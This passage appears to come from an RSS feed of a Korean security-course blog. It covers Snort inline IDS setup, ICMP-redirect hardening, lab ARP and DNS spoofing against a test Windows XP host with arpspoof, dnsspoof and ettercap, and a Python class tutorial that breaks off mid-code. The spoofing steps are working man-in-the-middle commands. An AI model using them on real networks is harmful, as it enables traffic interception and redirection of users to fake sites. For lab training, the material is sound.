3: ens36: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:a6:a1:8b brd ff:ff:ff:ff:ff:ff
    inet 192.168.101.253/24 brd 192.168.101.255 scope global noprefixroute ens36
       valid_lft forever preferred_lft forever
    inet6 fe80::78e1:73d8:9e73:b50d/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever


-t nat PREROUTING:  dst:200.200.200.101 -&gt; dst: 192.168.101.101
-t nat POSTROUTING: src:192.168.101.101 -&gt; src: 200.200.200.101
[root@nids ~]# iptables -t nat -A PREROUTING -d 200.200.200.101 -j DNAT --to 192.168.101.101
[root@nids ~]# iptables -t nat -A POSTROUTING -s 192.168.101.101 -j SNAT --to 200.200.200.101
[root@nids ~]# iptables-save &gt; /etc/sysconfig/iptables

패킷을 영구적으로 포워딩하기 위해서는 /etc/systl.conf에 패킷 포워딩의 커널 파라미터 값을 설정해야 한다.
[root@nids ~]# vi /etc/sysctl.conf 
# /proc/sys/net/ipv4/ip_forward
# 0: 패킷 포워딩 금지 (Host)
# 1: 패킷 포워딩 허용 (NIDS)
net.ipv4.ip_forward = 1
[root@nids ~]# sysctl -p
net.ipv4.ip_forward = 1
[root@nids ~]# cat /proc/sys/net/ipv4/ip_forward
1

5. 설정 확인
설정이 완료되면 서버를 재부팅해서 방화벽룰이 잘 올라오는지 확인한다.
[root@nids ~]# reboot

Connecting to 200.200.200.13:22...
Connection established.
To escape to local shell, press &#39;Ctrl+Alt+]&#39;.

WARNING! The remote SSH server rejected X11 forwarding request.
Last login: Fri Mar 17 16:48:01 2023 from 200.200.200.1

filter 테이블의 룰을 확인해서 아래처럼 설정이 되면 성공이다.
[root@nids ~]# iptables -nL
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state RELATED,ESTABLISHED
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:443
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:80
ACCEPT     tcp  --  0.0.0.0/0            0.0.0.0/0            state NEW tcp dpt:22
ACCEPT     icmp --  0.0.0.0/0            0.0.0.0/0           
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0           
DROP       all  --  0.0.0.0/0            0.0.0.0/0           

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         
NFQUEUE    all  --  0.0.0.0/0            0.0.0.0/0            /* SNORT */ NFQUEUE num 0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination  

nat 테이블의 룰을 확인해서 아래처럼 설정이 되면 성공이다.
[root@nids ~]# iptables -t nat -nL
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination         
DNAT       all  --  0.0.0.0/0            200.200.200.101      to:192.168.101.101

Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination         
SNAT       all  --  192.168.101.101      0.0.0.0/0            to:200.200.200.101

패킷 포워딩을 확인해서 아래처럼 1이면 성공이다.
[root@nids ~]# cat /proc/sys/net/ipv4/ip_forward
1

6. snort 실행

DMZ망에 있는 WEB#1 서버가 외부로 ping test를 한다.

snort가 실행되지 않았기 때문에 외부로 ping test가 실패가 된다.
[root@web1 ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    &lt;-- 패킷이 나가지 않는다.

snort에서 icmp 패킷을 탐지해서 console에 로그가 출력된다.
-q: 조용하게 처리
-A console: 룰이 탐지하면 console(화면)로 출력
-u snort: snort 사용자로 프로세스 실행
-g snort: snort 그룹으로 프로세스 실행
-c /etc/snort/snort.conf: 설정파일
-Q: 인라인 모드
[root@nids ~]# snort -q -A console -u snort -g snort -c /etc/snort/snort.conf -Q

snort가 실행되면 WEB#1에서 외부로 ping test를 다시 확인하면 패킷이 잘 통신이 되는걸 확인할 수 있다.
[root@web1 ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=43.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=42.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=42.0 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=41.5 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 41.575/42.597/43.940/0.900 ms

[root@nids ~]# snort -q -A console -u snort -g snort -c /etc/snort/snort.conf -Q
10/17-13:13:07.775712  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -&gt; 8.8.8.8
10/17-13:13:07.819091  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -&gt; 192.168.101.101
10/17-13:13:08.776194  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -&gt; 8.8.8.8
10/17-13:13:08.818447  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -&gt; 192.168.101.101
10/17-13:13:09.777646  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -&gt; 8.8.8.8
10/17-13:13:09.819317  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -&gt; 192.168.101.101
10/17-13:13:10.778419  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 192.168.101.101 -&gt; 8.8.8.8
10/17-13:13:10.819430  [**] [1:1000001:0] ICMP ping test [**] [Priority: 0] {ICMP} 8.8.8.8 -&gt; 192.168.101.101
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[네트워크 보안 운영 - 4 (교육 78일차)]]></title>
            <link>https://velog.io/@security_code/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-4-%EA%B5%90%EC%9C%A1-78%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EB%84%A4%ED%8A%B8%EC%9B%8C%ED%81%AC-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-4-%EA%B5%90%EC%9C%A1-78%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sun, 19 Mar 2023 04:12:39 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; Linux에서 ICMP Redirect 비활성화</strong></p>
</blockquote>
<pre><code>1. ICMP Redirect 확인
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/all/accept_redirects 
1
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/default/accept_redirects 
1
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/ens33/accept_redirects 
1

2. ICMP Redirect 비활성화
일시적으로 변경하는 방법
[root@victim3 ~]# echo 0 &gt; /proc/sys/net/ipv4/conf/all/accept_redirects 
[root@victim3 ~]# sysctl net.ipv4.conf.default.accept_redirects=0
[root@victim3 ~]# sysctl net.ipv4.conf.ens33.accept_redirects=0

[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/all/accept_redirects 
0
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/default/accept_redirects 
0
[root@victim3 ~]# cat /proc/sys/net/ipv4/conf/ens33/accept_redirects 
0

[root@victim3 ~]# sysctl net.ipv4.conf.all.accept_redirects
net.ipv4.conf.all.accept_redirects = 1

3. ICMP Redirect 비활성화
영구적으로 변경하는 방법
첫 번째 방법
/etc/sysctl.conf 파일에 커널 파라미터를 설정한다.

[root@victim3 ~]# vi /etc/sysctl.conf
net.ipv4.conf.all.accept_redirects=0
net.ipv4.conf.default.accept_redirects=0
net.ipv4.conf.ens33.accept_redirects=0

#net.ipv4.conf.all.accept_redirects = 0
#net.ipv4.conf.default.accept_redirects = 0
#net.ipv4.conf.ens33.accept_redirects = 0


/etc/sysctl.conf 를 적용시킨다.
[root@victim3 ~]# sysctl -p


두 번째 방법
/etc/rc.d/rc.local 파일에 명령어를 저장한다.
/etc/rc.d/rc.local 이 부팅 후에 마지막에 실행하는 스크립트이므로 이 안에 
3개의 명령어를 넣어주면 된다. (추천하지 않음)

sysctl net.ipv4.conf.all.accept_redirects=0
sysctl net.ipv4.conf.default.accept_redirects=0
sysctl net.ipv4.conf.ens33.accept_redirects=0
</code></pre><blockquote>
<p><strong>실습&gt; DNS Spoofing 1</strong></p>
</blockquote>
<pre><code>1. 웹서버 실행
[root@kali ~]# systemctl start apache2
[root@kali ~]# echo naver.com &gt; /var/www/html/index.html 

2. 웹페이지 접속
Victim XP에서 접속한다.
http://200.200.200.3/
naver.com

3. arp spoofing 공격
[root@kali ~]# arpspoof2.py 4 2
&gt;&gt;&gt; arp spoofing 공격 실행중 !!! &lt;&lt;&lt;
arpspoof -t 200.200.200.4 200.200.200.2 &gt; /dev/null 2&gt;&amp;1 &amp;
arpspoof -t 200.200.200.2 200.200.200.4 &gt; /dev/null 2&gt;&amp;1 &amp;
fragrouter -B1 &gt; /dev/null 2&gt;&amp;1

4. arp 확인
C:\&gt;ping 8.8.8.8
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x20002
  Internet Address      Physical Address      Type
  200.200.200.1         00-50-56-c0-00-08     dynamic
  200.200.200.2         00-0c-29-28-37-34     dynamic   &lt;-- 변조된 MAC 주소
  200.200.200.3         00-0c-29-28-37-34     dynamic

4. dns spoofing 공격
[root@kali ~]# cat &lt;&lt; EOF &gt; dns.txt
200.200.200.3 naver.com
200.200.200.3 www.naver.com
EOF

[root@kali ~]# cat dns.txt 
200.200.200.3 naver.com
200.200.200.3 www.naver.com

[root@kali ~]# dnsspoof -f dns.txt 
dnsspoof: listening on eth0 [udp dst port 53 and not src 200.200.200.3]

5. 네이버 접속
cmd에서 DNS Cache를 삭제하고 네이버로 접속한다.
C:\&gt;ipconfig /flushdns

브라우저를 열어서 http://naver.com 으로 접속한다.
잘 안되면 Ethercap으로 실시한다.
</code></pre><blockquote>
<p><strong>실습&gt; DNS Spoofing 2</strong></p>
</blockquote>
<pre><code>그래픽 모드 &amp; 텍스트 모드

ettercap: 스니핑을 위한 공격 툴(arpspoofing을 사용할 수 있다.)

그래픽 모드로 사용하는 방법
1. ettercap 실행
검색에서 ettercap을 찾아서 실행한다.
나중에 다시 확인!!!

텍스트 모드로 사용하는 방법

1. DNS spoofing 설정
변조할 DNS를 가짜로 자기 자신으로 올 수 있도록 공격자 IP주소로 설정한다.
[root@kali ~]# cd /etc/ettercap/
[root@kali ettercap]# vi etter.dns 
  :

naver.com    A  200.200.200.3
*.naver.com  A  200.200.200.3

daum.net     A  200.200.200.3
*.daum.net   A  200.200.200.3

google.com   A  200.200.200.3
*.google.com A  200.200.200.3

2. ettercap 실행
-T: text모드
-q: quite로 조용히 
-M: MITM 공격
arp:remote -P dns_spoof : dns spoofing plugin
/200.200.200.2/200.200.200.4/ : /Gateway주소/공격대상/

                      MITM
[Victim1]----------[Attacker]----------[Gateway] 
[root@kali ~]# ettercap -Tq -M arp:remote -P dns_spoof /200.200.200.2/200.200.200.4/
  :

 GROUP 1 : 200.200.200.2 00:50:56:EF:DF:9F
 GROUP 1 : 200.200.200.4 00:0C:29:0E:30:1E

 GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...


Text only Interface activated...
Hit &#39;h&#39; for inline help

Activating dns_spoof plugin...

h 를 누르면 사용할 수 있는 메뉴가 있다.

h
Inline help:

 [vV]      - change the visualization mode
 [pP]      - activate a plugin
 [fF]      - (de)activate a filter
 [lL]      - print the hosts list
 [oO]      - print the profiles list
 [cC]      - print the connections list
 [rR]      - adjust SSL intercept rules
 [sS]      - print interfaces statistics
 [&lt;space&gt;] - stop/cont printing packets
 [qQ]      - quit


l
Hosts list:

1)    200.200.200.1    00:50:56:C0:00:08
2)    200.200.200.2    00:50:56:FA:09:53
3)    200.200.200.4    00:0C:29:0E:30:1E
4)    200.200.200.6    00:0C:29:3D:BF:69
5)    200.200.200.254    00:50:56:E9:3D:4E

3. ARP 확인
ARP 캐쉬 테이블을 확인한다.

C:\&gt;arp -d 200.200.200.2
C:\&gt;ping 8.8.8.8
C:\&gt;arp -a

Interface: 200.200.200.4 --- 0x2
  Internet Address      Physical Address      Type
  200.200.200.1         00-0c-29-28-37-34     dynamic
  200.200.200.2         00-0c-29-28-37-34     dynamic  &lt;-- 변조된 ARP 
  200.200.200.6         00-0c-29-28-37-34     dynamic  &lt;-- Attacker
  200.200.200.254       00-0c-29-28-37-34     dynamic

4. tracert 확인
tracert로 확인해보면 공격자가 보이지 않는다. 
이유는 커널 포워딩이 아니고 소프트웨어 포워딩이기 때문이다.
C:\&gt;tracert -d 8.8.8.8

Tracing route to 8.8.8.8 over a maximum of 30 hops

  1    19 ms    19 ms    12 ms  200.200.200.2
  2    15 ms    15 ms    15 ms  192.168.20.1
  3    20 ms    15 ms  ^C


공격자는 커널 포워딩이 아님을 알 수 있다.
[root@kali ~]# cat /proc/sys/net/ipv4/ip_forward


공격자는 커널 포워딩이 아님을 알 수 있다.
[root@kali ~]# cat /proc/sys/net/ipv4/ip_forward
0

5. 가상호스트 설정

[root@kali ~]# vi /etc/apache2/sites-available/000-default.conf 
  :
  :(생략)
# daum.net
&lt;VirtualHost *:80&gt;
    ServerName   daum.net
    ServerAlias  *.daum.net
    DocumentRoot /var/www/html/daum
&lt;/VirtualHost&gt;

# naver.com
&lt;VirtualHost *:80&gt;
    ServerName   naver.com
    ServerAlias  *.naver.com
    DocumentRoot /var/www/html/naver
&lt;/VirtualHost&gt;

# google.com
&lt;VirtualHost *:80&gt;
    ServerName   google.com
    ServerAlias  *.google.com
    DocumentRoot /var/www/html/google
&lt;/VirtualHost&gt;

[root@kali ~]# mkdir /var/www/html/{daum,naver,google}

[root@kali ~]# echo Welcome to daum.net. &gt; /var/www/html/daum/index.html 
[root@kali ~]# echo Welcome to naver.com. &gt; /var/www/html/naver/index.html 
[root@kali ~]# echo Welcome to google.com. &gt; /var/www/html/google/index.html 

[root@kali ~]# systemctl restart apache2
[root@kali ~]# netstat -nltp|grep 80
tcp6       0      0 :::80                   :::*                    LISTEN      13012/apache2   

6. 도메인 접속
Victim1(Windows XP)에서 DNS Cache를 한번 삭제한 후 도메인으로 접속한다.

C:\&gt;ipconfig/flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.

브라우저를 열고 아래 도메인으로 접속해서 가짜 페이지가 나오면 성공이다.
http://daum.net
Welcome to daum.net.

http://naver.com
Welcome to naver.com.

http://google.com
Welcome to google.com.
</code></pre><blockquote>
<p><strong>실습&gt; github</strong></p>
</blockquote>
<pre><code>https://github.com/mustafadalga/dns-spoof

[root@kali ~]# git clone https://github.com/mustafadalga/dns-spoof.git
Cloning into &#39;dns-spoof&#39;...
remote: Enumerating objects: 20, done.
remote: Total 20 (delta 0), reused 0 (delta 0), pack-reused 20
Receiving objects: 100% (20/20), 18.53 KiB | 2.06 MiB/s, done.
Resolving deltas: 100% (6/6), done.

[root@kali ~]# cd dns-spoof/

[root@kali dns-spoof]# ls
dns_spoof.py  LICENSE  README.md  requirements.txt


DHCP 

C                  S
DHCP Discover(Broadcast)
---------------------&gt;  네트워크 정보를 받기 위해서 동일 네트워크에 DHCP 서버를 찾는 패킷
DHCP Offer (Broadcast or Unicast)
&lt;---------------------  Discover 패킷을 받은 DHCP 서버가 호스트에게 네트워크 정보에 대해 제안을 요청하는 패킷
DHCP Request (Broadcast or Unicast)
----------------------&gt; Offer 패킷으로 전달된 네트워크 정보 이용 시 해당 정보에 대한 사용 요청을 보내는 패킷
DHCP Acknowledgement (Broadcast or Unicast)
&lt;---------------------  서버에서 확인했음을 알려주는 패킷
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[파이썬 9강 클래스, 네트워크 보안 운영 - 3 (교육 77일차)]]></title>
            <link>https://velog.io/@security_code/%ED%8C%8C%EC%9D%B4%EC%8D%AC-9%EA%B0%95-%ED%81%B4%EB%9E%98%EC%8A%A4-%EA%B5%90%EC%9C%A1-77%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%ED%8C%8C%EC%9D%B4%EC%8D%AC-9%EA%B0%95-%ED%81%B4%EB%9E%98%EC%8A%A4-%EA%B5%90%EC%9C%A1-77%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Wed, 15 Mar 2023 12:26:14 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/security_code/post/4ab14ba6-3d64-4370-b370-edc8f8ee97c3/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/cc44f467-b309-4ff2-846b-d94ea7bb0441/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/91b7d2e3-dcbd-4fd9-8e93-0ec82649f071/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/e4078b3e-880d-4c03-b4b2-1deaf9eb1631/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/80f8b6c7-13f3-40e6-b8dd-046ef13a85d0/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/ebc7a024-eb80-452e-b739-2c1e128c02ce/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/e713f22f-3f7a-4258-b2e6-cc03160dafbf/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/6578a520-1cf3-46ab-84a5-e5ac2bb87c5f/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/33af7a83-c8e5-4186-93d5-4ac0de434862/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/f85affac-263c-454d-b86e-da1396eb248f/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/0584d86f-03af-4d40-9e1b-3640e9633162/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/4f53fc9a-24bc-4fb9-a63a-d282290957bc/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/05f33f12-de4d-4a61-80cf-befd4aee1d0b/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/b798fb67-a795-478f-94aa-a42ceb50fdb9/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/ed89f07a-a1f9-4ee2-bcb8-e237e6e27f6c/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/afe8bfac-3cf4-4a61-931a-3fe41b16d576/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/863af657-bc73-41be-895f-f279798266d3/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/000404d2-f023-4e8f-828f-61970b90ead8/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/a1fc1782-642f-45fe-a92b-ad8c7c9a620a/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/982ceb5a-18fe-4c2f-93cb-f2410df1be52/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/3e0493d2-e8bd-4b8d-a0de-abb42aada3aa/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/bbea1cc8-4aaf-4188-b113-699950549907/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/a6501fa9-adfc-4a5f-ae43-4492f58fa29b/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/42d65a55-3842-4f96-902b-b11f09e5a850/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/516bdc1e-a8d3-4b3f-a3d5-e4b4b4076689/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/7461cbbd-dde4-48cf-ba30-363c1dcaed64/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/a216c332-0e77-4f70-b5bb-18a7c075eefd/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/09757c48-dcfb-45c3-9496-25e5c3b066bb/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/1be1dc78-59a1-461e-bae6-0d224d97643f/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/1f2cccb0-4c1b-4ac6-beeb-2e4c24079600/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/98c1e9d5-92f4-4481-bbdc-7e5f7b254cc5/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/cfc4cf4b-3def-40ae-8754-899a57a653ec/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/security_code/post/1949baff-430e-42d1-86cf-9416f3bbb701/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/8e1c9581-fd3e-465c-811d-71b77919896b/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/6ed5173c-948a-48c0-9228-ae2018d48421/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/9d211519-1d21-406b-b002-8829394e69e2/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/1591d78e-8252-43a2-9dbd-d39473579590/image.jpg" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/4c85c92e-c3af-45a8-ae6b-3d0e4b8c773c/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/67fae1fb-46d2-4bd1-bd01-dcdc3fcbb3bf/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/b975d3ac-f25a-4800-a328-ca74fee6dddc/image.png" alt="">
<img src="https://velog.velcdn.com/images/security_code/post/885c308d-7570-4605-8b8a-914ea52f2f23/image.png" alt=""></p>
<pre><code>-- class1.py --
# 1. 클래스 정의
class Student:
    age = 100
    def sayHello():
        print(&#39;Hello&#39;)
    def printName():
        print(&#39;홍길동&#39;)

# 2. 클래스 사용
Student.sayHello()  # Hello
Student.printName() # 홍길동
print(Student.age)  # 100
-- class1.py --

-- class2.py --
# 1. 클래스 정의
class Student:
    age = 25

    def printAge(self):
        print(f&#39;나이: {self.age}&#39;)

# 2. 객체(인스턴스) 생성
s1 = Student()

# 3. 객체(인스턴스) 사용
s1.printAge()
-- class2.py --

-- class3.py --
# 1. 클래스 정의
class Student:
    age = 25

    def printAge(self):
        print(f&#39;나이: {self.age}&#39;)
        print(id(self))  # 주소 출력

# 2. 객체(인스턴스) 생성
s1 = Student()

# 3. 객체(인스턴스) 사용
s1.printAge()
print(id(s1))  # 주소 출력
print(&#39;프로그램 종료&#39;)
-- class3.py --

-- class4.py --
# 1. 클래스 정의
class Student:

    def setAge(self, age):
        self.age = age  # 인스턴스에 저장

    def printAge(self):
        print(f&#39;나이: {self.age}&#39;)  # 인스턴스에 저장된 값 출력


# 2. 객체(인스턴스) 생성
s1 = Student()
s2 = Student()

# 3. 객체(인스턴스) 사용
s1.setAge(10)
s1.printAge()  # 10

s2.setAge(20)
s2.printAge()  # 20

print(&#39;프로그램 종료&#39;)
-- class4.py --

-- class5.py --
# 1. 클래스 정의
class Student:

    def __init__(self):
        print(&quot;생성자 실행!!!&quot;)

# 2. 객체(인스턴스) 생성
s1 = Student()

print(&#39;프로그램 종료&#39;)
-- class5.py --

-- class6.py --
# 1. 클래스 정의
class Student:

    def __init__(self,age):
        self.age = age
        print(&quot;생성자 실행!!!&quot;)

    def printAge(self):
        print(f&#39;나이: {self.age}&#39;)  # 인스턴스에 저장된 값 출력

# 2. 객체(인스턴스) 생성
s1 = Student(10)

# 3. 객체(인스턴스) 실행
s1.printAge()

print(&#39;프로그램 종료&#39;)

-- class6.py --</code></pre><blockquote>
<p><strong>실습&gt; TV 만들기</strong></p>
</blockquote>
<pre><code>TV를 객체로 만들어서 사용한다.

파일명 : tvclass.py
클래스명 : MyTV
속성(변수) : 
- 모델명 : modelName
- 색상 : modelColor
- 채널 : channel   (1 ~ 100)
- 볼륨 : volume    (1 ~ 30)
- 전원상태 : True(On), False(Off)    

메소드(함수) : 
- TV On/Off 한다.     : tvOnOff
- 채널을 UP 시킨다.     : channelUp 
- 채널을 DOWN 시킨다.   : channelDown
- 채널을 직접 변경한다. : channelChange
- 볼륨을 UP 시킨다.     : volumeUp
- 볼륨을 DOWN 시킨다.   : volumeDown
- 현재 볼륨을 가져온다. : getVolume
- 현재 채널을 가져온다. : getChannel

-- tvclass.py --
&quot;&quot;&quot;
파일명 : tvclass.py
프로그램 설명 : TV 클래스 만들기
제작자 : 리눅스마스터
버전 : 2023031501

클래스명 : MyTV
속성(인스턴스 변수) : 
- 모델명 : modelName
- 색상 : modelColor
- 채널 : channel   (1 ~ 100)
- 볼륨 : volume    (1 ~ 30)
- 전원상태 : onOff

메소드(함수) : 
- TV On/Off 한다.       : tvOnOff
- 채널을 UP 시킨다.     : channelUp 
- 채널을 DOWN 시킨다.   : channelDown
- 채널을 직접 변경한다. : channelChange
- 볼륨을 UP 시킨다.     : volumeUp
- 볼륨을 DOWN 시킨다.   : volumeDown
- 현재 볼륨을 가져온다. : getVolume
- 현재 채널을 가져온다. : getChannel
&quot;&quot;&quot;

import os

# 1. 클래스 정의
class MyTV:
    &quot;&quot;&quot;MyTV 클래스&quot;&quot;&quot;

    def __init__(self):
        &quot;&quot;&quot;생성자&quot;&quot;&quot;

        # 인스턴스 변수를 생성한다.
        self.modelName  = &quot;MyTV&quot;      # 모델명
        self.modelColor = &quot;Green&quot;     # 색상
        self.channel    = 1           # 채널 1 ~ 100
        self.volume     = 1           # 볼륨 1 ~ 30
        self.onOff      = False       # On/Off 상태 True : On, False : Off
        self.tvOffMessage = &#39;TV의 전원이 꺼졌습니다.&#39;
        self.tvOnMessage  = &#39;TV의 전원이 켜졌습니다.&#39;

    # TV 전원 On/Off 메소드
    def tvOnOff(self):
        &quot;&quot;&quot;
        TV On/Off 한다.
        매개 변수 : X
        리턴값 : X
        &quot;&quot;&quot;
        # print(&#39;tvOnOff() 메소드 실행&#39;)
        self.onOff = not self.onOff  # 전원 상태를 변경한다.
        if self.onOff:  # 전원 On
            print(self.tvOnMessage)
        else:  # 전원 Off
            print(self.tvOffMessage)

    # 채널 UP 메소드
    def channelUp(self):
        &quot;&quot;&quot;
        채널을 UP 시킨다.
        매개 변수 : X
        리턴값 : X
        &quot;&quot;&quot;
        #print(&#39;channelUp() 메소드 실행&#39;)

        # TV의 전원이 켜졌는지 체크하는 부분
        if self.onOff:                 # TV의 전원이 켜졌는가 ?
            if self.channel == 100 :   # 채널이 100이면
                self.channel = 1       # 채널을 1로 설정한다.
                print(f&#39;채널을 1로 설정합니다. ({self.channel})&#39;)
            else:
                self.channel += 1      # 채널을 증가한다. 
                print(f&#39;채널을 1증가했습니다. ({self.channel})&#39;)
        else:
            print(self.tvOffMessage)

    # 채널 DOWN 메소드
    def channelDown(self):
        &quot;&quot;&quot;
        채널을 DOWN 시킨다.
        매개 변수 : X
        리턴값 : X
        &quot;&quot;&quot;
        # print(&#39;channelDown() 메소드 실행&#39;)

        # TV의 전원이 켜졌는지 체크하는 부분
        if self.onOff:                 # TV의 전원이 켜졌는가 ?
            if self.channel == 1 :     # 채널이 1이면
                self.channel = 100     # 채널을 100으로 설정한다.
                print(f&#39;채널을 100로 설정합니다. ({self.channel})&#39;)
            else:
                self.channel -= 1      # 채널을 감소한다. 
                print(f&#39;채널을 1감소했습니다. ({self.channel})&#39;)
        else:
            print(self.tvOffMessage)

    # 채널 직접 변경 메소드
    def channelChange(self, channel):
        &quot;&quot;&quot;
        채널을 직접 변경한다.
        매개 변수 : O
        - channel : 변경할 채널 번호
        리턴값 : X
        &quot;&quot;&quot;
        # print(&#39;channelChange() 메소드 실행&#39;)
        if self.onOff:                 # TV의 전원이 켜졌는가 ?        
            if channel &gt;= 1 and channel &lt;= 100:  # 채널범위 1 ~ 100
                self.channel = channel    
                print(f&#39;채널을 직접 설정했습니다. ({self.channel})&#39;)
            else:
                print(&#39;채널은 1 ~ 100까지 입력해야 합니다.&#39;)
        else:
                print(self.tvOffMessage)

    # 볼륨 UP 메소드
    def volumeUp(self):
        &quot;&quot;&quot;
        볼륨을 UP 시킨다.
        매개 변수 : X
        리턴값 : X
        볼륨의 범위 : 1 ~ 30   
        30까지 갔는데 volumeUp() 메소드를 호출하면 더이상 올라가지 않고 
        현재 최대 볼륨입니다. 라는 메세지를 출력한다.
        &quot;&quot;&quot;        
        # print(&#39;volumeUp() 메소드 실행&#39;)

        if self.onOff:                 # TV의 전원이 켜졌는가 ?        
            if self.volume == 30:      # 볼륨이 30이면
                print(f&#39;현재 최대 볼륨입니다. ({self.volume})&#39;)
            else:                      # 볼륨이 30보다 작으면
                self.volume += 1
                print(f&#39;볼륨을 1증가했습니다. ({self.volume})&#39;)
        else:
            print(self.tvOffMessage)

    # 볼륨 DOWN 메소드
    def volumeDown(self):     
        &quot;&quot;&quot;
        볼륨을 DOWN 시킨다.
        매개 변수 : X
        리턴값 : X
        볼륨의 범위 : 1 ~ 30   
        1까지 갔는데 volumeDown() 메소드를 호출하면 더이상 내려가지 않고 
        현재 최소 볼륨입니다. 라는 메세지를 출력한다.
        &quot;&quot;&quot;
        # TV의 전원이 켜졌는지 ???
        if self.onOff:
            if self.volume == 1:      # 볼륨이 1이면
                print(f&#39;현재 최소 볼륨입니다. ({self.volume})&#39;)
            else:                      # 볼륨이 1보다 크면
                self.volume -= 1
                print(f&#39;볼륨을 1감소했습니다. ({self.volume})&#39;)
        else:
            print(self.tvOffMessage)      

    # 채널을 가져오는 메소드
    def getChannel(self):
        &quot;&quot;&quot;
        현재 채널을 가져온다.
        매개 변수 : X
        리턴값 : X
        &quot;&quot;&quot;        
        # print(&#39;getChannel() 메소드 실행&#39;)                

        if self.onOff:                 # TV의 전원이 켜졌는가 ?
